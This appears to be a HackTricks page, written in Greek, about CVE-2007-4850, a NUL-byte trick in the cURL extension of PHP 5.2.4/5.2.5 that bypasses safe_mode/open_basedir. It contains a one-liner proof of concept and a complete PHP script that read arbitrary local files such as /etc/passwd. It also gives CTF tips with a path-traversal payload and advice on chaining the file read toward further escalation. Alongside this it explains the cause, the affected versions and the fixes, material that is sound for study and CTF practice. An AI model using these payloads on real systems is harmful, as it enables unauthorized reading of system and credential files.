PHP 5.2.4 και 5.2.5 PHP cURL

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα τεκμηριώνει ένα παλαιό αλλά ακόμα χρήσιμο — σε CTFs ή σε τοπικές παλαιές εγκαταστάσεις — τέχνασμα για την παράκαμψη των ελέγχων PHP safe_mode/open_basedir χρησιμοποιώντας την επέκταση cURL σε συγκεκριμένα builds PHP 5.2.x.

  • Επηρεαζόμενα: PHP 5.2.4 και 5.2.5 με ext/curl ενεργοποιημένο.
  • Επιπτώσεις: Ανάγνωση αυθαίρετων τοπικών αρχείων παρά τους περιορισμούς safe_mode ή open_basedir (χωρίς άμεση εκτέλεση κώδικα).
  • ID: CVE-2007-4850.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

One-liner PoC

Αν οι safe_mode ή open_basedir είναι ενεργοί και το cURL είναι ενεργοποιημένο, το ακόλουθο θα επιστρέψει τα περιεχόμενα του τρέχοντος script:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Πιο ρητό PoC (αυθαίρετη ανάγνωση αρχείου)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Σημειώσεις:

  • Χρησιμοποιήστε διπλά εισαγωγικά ή chr(0) για να εισάγετε ένα πραγματικό NUL byte. Το percent-encoding (%00) δεν θα λειτουργήσει αξιόπιστα.
  • Πρόκειται για ένα file read primitive. Συνδυάστε με άλλα primitives (log poisoning, session file inclusion, κ.λπ.) για περαιτέρω escalation όταν είναι δυνατόν.

Γιατί αυτό λειτουργεί (σύντομα)

Η ευπάθεια βρίσκεται στον τρόπο με τον οποίο οι PHP 5.2.4/5.2.5 εκτελούσαν τους ελέγχους safe_mode/open_basedir για URL τύπου file:// στο ext/curl. Ο έλεγχος έκανε parsing του URL και επικύρωνε ένα component διαδρομής, αλλά λόγω της διαχείρισης NUL-byte επικύρωνε μια διαφορετική συμβολοσειρά από αυτήν που χρησιμοποιούσε πραγματικά η libcurl. Στην πράξη, ο validator μπορούσε να εγκρίνει τη διαδρομή μετά το NUL ενώ η libcurl χρησιμοποιούσε το μέρος πριν το NUL ως το URL container, επιτρέποντας μια παράκαμψη που έχει ως αποτέλεσμα την ανάγνωση του αρχείου που τοποθετήθηκε μετά το NUL byte. Δείτε την αρχική ανάλυση και το επηρεασμένο macro στο curl/interface.c για λεπτομέρειες. [CVE-2007-4850].

Περιορισμοί και διορθώσεις

  • Fixed σε μεταγενέστερα 5.2.x (π.χ., distro builds patched to 5.2.6) διορθώνοντας το parsing/validation στο ext/curl.
  • Επηρεάζει μόνο πολύ παλιές PHP αναπτύξεις· το safe_mode αφαιρέθηκε στην PHP 5.4 και τα σύγχρονα builds δεν εμφανίζουν αυτή τη συμπεριφορά.

Σχετικές ιστορικές παρακάμψεις με cURL

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers επέτρεπαν πρόσβαση file:// με embedded NULs για παράκαμψη του open_basedir· fixed πριν από τα 5.2.x.
  • PHP bugs #30609/#36223 tracked early cURL open_basedir issues χρησιμοποιώντας file:// χωρίς canonicalization. Οποιοσδήποτε έλεγχος πριν το NUL byte ή χωρίς realpath-style resolution είναι επιρρεπής στην ίδια περικοπή.

Συμβουλές για CTF

  • Όταν εντοπίζετε PHP 5.2.4/5.2.5 με ext/curl φορτωμένο (ψάξτε για cURL support => enabled στο phpinfo() και την ακριβή PHP Version), αυτό το κόλπο συνήθως δουλεύει ακόμα και αν το allow_url_fopen είναι disabled επειδή το ext/curl χειρίζεται το file:// μόνο του.
  • Εάν οι άμεσες διαδρομές μπλοκάρονται, δοκιμάστε σχετική περιήγηση μετά το NUL, π.χ. file://x\x00../../../../etc/passwd. Η περιήγηση επιλύεται από τη libcurl, όχι από τη προστασία open_basedir.
  • Μπορείτε να τυλίξετε το payload σε ένα μόνο HTTP request body για να ενεργοποιήσετε το LFI μέσω ευπαθούς server-side κώδικα που καθρεφτίζει user-controlled URLs σε curl_exec() (συνηθισμένο σε legacy SSRF-like endpoints).

Δείτε επίσης

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks